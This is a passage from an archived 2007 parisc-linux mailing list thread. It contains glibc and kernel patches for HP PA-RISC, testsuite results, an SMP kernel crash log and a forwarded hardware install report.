List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vt8uIgMQa0Aom76aejEzBnI3Njh6dI4L
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24557

On Sun, May 20, 2007 at 03:52:15AM +0200, Aurelien Jarno wrote:
> Hi,
> 
> I have finally tracked down the "error while loading shared libraries: 
> internal error: symidx out of range of fptr table" problem. 
> 
> It comes from a bug in atomic.h, the errno number is compared with the
> wrong value. The kernel returns -EAGAIN (ie -11), but the value in the
> cmpib instruction is EAGAIN (11).
> 
> The patch below fixes the problem.
> 

Oops this patch is reversed.

Please find a new version below.


2007-05-20  Aurelien Jarno  <aurelien@aurel32.net>

	* sysdeps/unix/sysv/linux/hppa/bits/atomic.h: check for
	-EAGAIN instead of EAGAIN.

--- ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h.orig	2007-05-20 03:28:39.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h	2007-05-20 03:24:41.000000000 +0200
@@ -56,7 +56,7 @@
 #define LWS_CAS "0"
 /* Note r31 is the link register */
 #define LWS_CLOBBER "r1", "r26", "r25", "r24", "r23", "r22", "r21", "r20", "r28", "r31", "memory"
-#define ASM_EAGAIN "11" 
+#define ASM_EAGAIN "-11" 
 
 #if __ASSUME_LWS_CAS
 /* The only basic operation needed is compare and exchange.  */

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Reproducing glibc testsuite failures on
	hppa-linux.
Date: Sat, 19 May 2007 23:36:37 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <5b2e36650705192036o45d1a939u7e49bc56d8d25ddf__43350.9351140403$1416624363$gmane$org@mail.gmail.com>
References: <119aab440705171918n15051b70y2eef1a59229510b8@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624363 23931 80.91.229.3 (22 Nov 2014 02:46:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:03 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 May 2007 03:36:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 20 May 2007 05:36:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F7AD7DCC4;
	Sat, 19 May 2007 21:36:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20394-07; Sat, 19 May 2007 21:36:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 330E47DCB9;
	Sat, 19 May 2007 21:36:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19F127DCB1
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 21:36:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20412-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 21:36:43 -0600 (MDT)
Original-Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.231])
	by free.linux.hp.com (Postfix) with ESMTP id 4DFDF7DCA2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 21:36:43 -0600 (MDT)
Original-Received: by nz-out-0506.google.com with SMTP id o37so2188399nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 20:36:42 -0700 (PDT)
Original-Received: by 10.115.108.1 with SMTP id k1mr1779930wam.1179632202231;
	Sat, 19 May 2007 20:36:42 -0700 (PDT)
Original-Received: by 10.114.103.10 with HTTP; Sat, 19 May 2007 20:36:37 -0700 (PDT)
In-Reply-To: <119aab440705171918n15051b70y2eef1a59229510b8@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bPB2fl1EYW0+k7uGbmZpAwh0amthc1u5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24558

On 17/05/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> Thanks for trying to reproduce the set of glibc failures I am seeing
> on hppa-linux. Attached are two patches which represent the entire set
> of local hacks I have applied to glibc and ports.
>
> I've CC'd libc-ports for posterity. Perhaps someone will have pity and
> tell me why I need the as-needed changes in the nptl makefiles (I have
> yet to deduce if this is gcc or glibc's fault).

Heya Carlos!  Thanks for this.  This is a quick heads up for the
experiment.  Using the Ubuntu glibc package, compiling with gcc-4.2
instead of gcc-4.1 removes the following failures:

test-float
tst-cond17
tst-cond18
tst-robustpi8
tst-fork1

Some tests that use C99 initialisers no longer compiler, but that's
expected with glibc-2.5

I'll keep you posted as I converge. =)

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [patch] removes MAX_ARG_PAGES
Date: Thu, 24 May 2007 17:20:19 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <1180020019.7019.133.camel__138.56637892804$1416624363$gmane$org@twins>
References: <617E1C2C70743745A92448908E030B2A0184DF88@scsmsx411.amr.corp.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624363 23934 80.91.229.3 (22 Nov 2014 02:46:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:03 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
 Andrew Morton <akpm@osdl.org>,
 linux-kernel@vger.kernel.org,
 Andi Kleen <ak@suse.de>,
 linux-mm@kvack.org,
 Ollie Wild <aaw@google.com>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2007 15:20:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 24 May 2007 17:20:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 996BD7DE20;
	Thu, 24 May 2007 09:20:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09360-07; Thu, 24 May 2007 09:20:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9440C7DE1D;
	Thu, 24 May 2007 09:20:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB1277DE16
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 09:20:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07950-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 09:20:36 -0600 (MDT)
Original-Received: from viefep20-int.chello.at (viefep18-int.chello.at [213.46.255.22])
	by free.linux.hp.com (Postfix) with ESMTP id DA7037DE15
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 09:20:35 -0600 (MDT)
Original-Received: from [192.168.0.111] (really [62.195.55.87])
	by viefep20-int.chello.at
	(InterMail vM.7.08.02.00 201-2186-121-20061213) with ESMTP
	id <20070524152031.NUCN767.viefep20-int.chello.at@[192.168.0.111]>;
	Thu, 24 May 2007 17:20:32 +0200
In-Reply-To: <617E1C2C70743745A92448908E030B2A0184DF88@scsmsx411.amr.corp.intel.com>
X-Mailer: Evolution 2.10.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YZRtc21pbmw7m62HZzdLq8pHUzc4cpF/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24559

On Tue, 2007-05-22 at 16:49 -0700, Luck, Tony wrote:
> > In order to solve this, I added a STACK_TOP_MAX macro for each arch and
> > use that. This made IA64 boot properly.
> 
> Yes.  Patches apply to 2.6.21 cleanly, build cleanly and boot for me too.
> I can even run:
> 
> 	$ ls -lrt `find /usr/share -type f -print`
> 
> on the new kernel (thats 48020 files for a total of 2.3MB of args).
> 
> > The second patch makes the compat stuff compile, untested though, as I
> > have no idea how that works on ia64.
> 
> Not so good on this part.  Running an ia32 binary on this patched kernel
> just hung my system :-(

I just tried this on an Altix from the test lab, and ia32 bash just
started.

native 64 bit gave this:

$ ls `find / -xdev -type f` | wc
      1   89847 4200288

but the 32 bit bash kept complaining about his arg list being too long.
This might be a 32->64 issue (/bin/ls is 64 bit after all - and I
couldn't find a 32 bit ls in the compat packages), but I really don't
know. Will look into this.

The difference I had with what I posted last is below; these changes
were just me cleaning up. (and fixing one bug on STACK_GROWS_UP
introduced by the previous patches - but AFAIK that is not relevant to
ia64)

Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
---
 fs/exec.c |   15 ++++++---------
 1 file changed, 6 insertions(+), 9 deletions(-)

Index: linux-2.6-2/fs/exec.c
===================================================================
--- linux-2.6-2.orig/fs/exec.c	2007-05-24 09:15:54.000000000 +0200
+++ linux-2.6-2/fs/exec.c	2007-05-24 09:41:49.000000000 +0200
@@ -532,26 +532,23 @@ int setup_arg_pages(struct linux_binprm 
 	stack_base = current->signal->rlim[RLIMIT_STACK].rlim_max;
 	if (stack_base > (1 << 30))
 		stack_base = 1 << 30;
-	stack_base = PAGE_ALIGN(stack_top - stack_base);
 
 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
 		return -ENOMEM;
 
+	stack_base = PAGE_ALIGN(stack_top - stack_base);
+
 	stack_shift = stack_base - vma->vm_start;
 	mm->arg_start = bprm->p + stack_shift;
 	bprm->p = vma->vm_end + stack_shift;
 #else
 	BUG_ON(stack_top & ~PAGE_MASK);
 
-	stack_base = arch_align_stack(stack_top - mm->stack_vm*PAGE_SIZE);
-	stack_base = PAGE_ALIGN(stack_base);

From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Vesa Ruokonen" <vesa.ruokonen@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.20 SMP crash
Date: Thu, 24 May 2007 19:02:19 +0300
Lines: 81
Approved: news@gmane.org
Message-ID: <92dc10290705240902y370a802ch3f226290fb026b91__16241.8945845731$1416624363$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624363 23937 80.91.229.3 (22 Nov 2014 02:46:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:03 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2007 16:02:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 24 May 2007 18:02:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D63B37DE24;
	Thu, 24 May 2007 10:02:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09697-06; Thu, 24 May 2007 10:02:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 859167DE25;
	Thu, 24 May 2007 10:02:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D9E47DE20
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 10:02:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09697-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 10:02:20 -0600 (MDT)
Original-Received: from py-out-1112.google.com (py-out-1112.google.com [64.233.166.182])
	by free.linux.hp.com (Postfix) with ESMTP id BE4DA7DE1F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 10:02:20 -0600 (MDT)
Original-Received: by py-out-1112.google.com with SMTP id a29so964545pyi
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 09:02:20 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=si06vIRewPe8A0TAcU3Bad1YrjbVl3dZwCStmEq+oi7LOREZGGq9hUkIJOPSo7VSar5pHVL8tV3yUB5WtLMUK/EypzceGHj2KfzuTETPggG1wFitiSa4Z71d+4jFoHsDiN8S+/aztIVaeUTHLu6x6L1IbaaChCKTH80Moefdpt4=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=oEXkdxlox6z9dmU11wFXcHVrkI8kiYDLTkRSKYY4aViXJnhzXPCBycVRMS9u5Pb1+bfXA++U01EfWaxmCOHm4qVnAFCf3h9e1/OwtxrvcMctG2n7sUbn4sQvRF73fb02odfzrXiprnWDN0vLzP+5K5EBTHMZjj71tTaZoFOw8Dg=
Original-Received: by 10.35.85.16 with SMTP id n16mr3447653pyl.1180022539707;
	Thu, 24 May 2007 09:02:19 -0700 (PDT)
Original-Received: by 10.35.79.5 with HTTP; Thu, 24 May 2007 09:02:19 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L49gcnZERkkerquPfGRqV5NmdWkvKFOr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24560

 Hi,

Below are console messages from kernel crash with 2.6.20.1
(Gentoo) with SMP. The box is 4-way K380.
Older 2.6.18-rc5-pa3 (git) hasn't crashed.

...
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: <0>------------[ cut here ]------------
Badness at arch/parisc/kernel/smp.c:322
Backtrace:
 [<10252e8c>] report_bug+0x74/0xbc
 [<101084a8>] handle_break+0x38/0xe4
 [<10108a3c>] handle_interruption+0x22c/0x5c0
 [<1010c090>] intr_check_sig+0x0/0x34
 [<1012e748>] vprintk+0x380/0x3c8
 [<1019e8b8>] mntput_no_expire+0x2c/0xfc
 [<10136280>] on_each_cpu+0x1c/0x50
 [<10105d8c>] free_initmem+0x4c/0x208
 [<1010553c>] init+0xb8/0x18c
 [<1010bc5c>] ret_from_kernel_thread+0x1c/0x24

348k freed
INIT: version 2.86 booting


<<stuck here for couple minutes>>


BUG: soft lockup detected on CPU#3!
Backtrace:
 [<10155b94>] softlockup_tick+0xf8/0x124
 [<1013b918>] update_process_times+0x54/0x90
 [<10108f08>] timer_interrupt+0x138/0x1a0
 [<10157b68>] handle_specific_irq_timer+0x60/0x98
 [<10109888>] do_cpu_irq_mask+0x1c0/0x24c
 [<1010c068>] intr_return+0x0/0x1c

      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
bash (pid 1252): Protection id trap (code 27)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  0004ff0f 104a7810 10111798 dc4c8108
r04-07  fb2f5ec0 129355c4 129353c8 fb2f5ee4
r08-11  00000000 00000000 129355c4 dc4c8108
r12-15  00000019 fb2f5ab8 00000000 00000001
r16-19  129353c8 fb2f59ec 00000001 00000001
r20-23  00000019 fffffff8 df8d7494 dc4c8088
r24-27  fb2f5ee4 dc4c8088 fb2f5ee4 1046e010
r28-31  00000019 00000080 dc4c8280 409def8f
sr00-03  00000000 00000000 00000000 00000010
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1013fe74 1013fe78
 IIR: 0f54d280    ISR: 00000010  IOR: fb2f5ee4
 CPU:        3   CR30: dc4c8000 CR31: 11111111
 ORIG_R28: 00000000
 IAOQ[0]: copy_siginfo_to_user+0x54/0x458
 IAOQ[1]: copy_siginfo_to_user+0x58/0x458
 RP(r2): setup_rt_frame+0xb8/0x38c
Backtrace:
 [<101083a8>] die_if_kernel+0x130/0x194
 [<10108c28>] handle_interruption+0x418/0x5c0
 [<1010c090>] intr_check_sig+0x0/0x34

-- 
Vesa
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fw: Hardware-List
Date: Thu, 24 May 2007 23:40:51 +0200
Organization: ESIEE
Lines: 31
Approved: news@gmane.org
Message-ID: <20070524234051.3b9bcbfd__46693.6209974394$1416624364$gmane$org@Alucard.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624364 23944 80.91.229.3 (22 Nov 2014 02:46:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2007 21:41:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 24 May 2007 23:41:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CFE97DE4C;
	Thu, 24 May 2007 15:41:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11944-03; Thu, 24 May 2007 15:41:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CF1067DE4E;
	Thu, 24 May 2007 15:41:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2FBA7DE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 15:41:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11934-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 15:41:02 -0600 (MDT)
Original-Received: from smtp6-g19.free.fr (smtp6-g19.free.fr [212.27.42.36])
	by free.linux.hp.com (Postfix) with ESMTP id D82A77DE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 15:41:01 -0600 (MDT)
Original-Received: from mail.zigoo.net (herebedragons.eu [82.228.130.181])
	by smtp6-g19.free.fr (Postfix) with ESMTP id F2AE3B5CE4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 23:41:00 +0200 (CEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 0D0C433E8A; Thu, 24 May 2007 23:40:59 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.1.7-deb (2006-10-05) on Tatooine.r3z0
X-Spam-Status: No, score=-53.4 required=5.0 tests=AWL,BAYES_00,LOCAL_RCVD,
	SPF_HELO_PASS,SPF_PASS autolearn=ham version=3.1.7-deb
Original-Received: from Alucard.r3z0 (Alucard.r3z0 [192.168.69.14])
	by mail.zigoo.net (Postfix) with ESMTP id 3687C33D75
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 23:40:51 +0200 (CEST)
Original-Received: from localhost ([127.0.0.1] helo=Alucard.r3z0 ident=varenet)
	by Alucard.r3z0 with esmtp (Exim 4.63)
	(envelope-from <T-Bone@parisc-linux.org>) id 1HrL3D-00055V-Eg
	for parisc-linux@lists.parisc-linux.org; Thu, 24 May 2007 23:40:51 +0200
X-Mailer: Sylpheed-Claws 2.6.0 (GTK+ 2.8.20; powerpc-unknown-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TTRvfogyYW0+k7uGbmZpsTl0amthc5s7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24561

I thought this should be read by everyone ;)

Begin forwarded message:

Date: Tue, 22 May 2007 01:10:35 -0500
From: Matthew Simpson <ms@tx.rr.com>
To: puffin@pateam.org
Subject: Hardware-List


I have successfully installed hppa etch on an HP c3750, in text mode 
only on the graphics console (i.e. not the serial console). The HP 
graphics card is not supported but I don't need graphics on this
system. PA-RISC 875 mhz processor, 4G RAM.

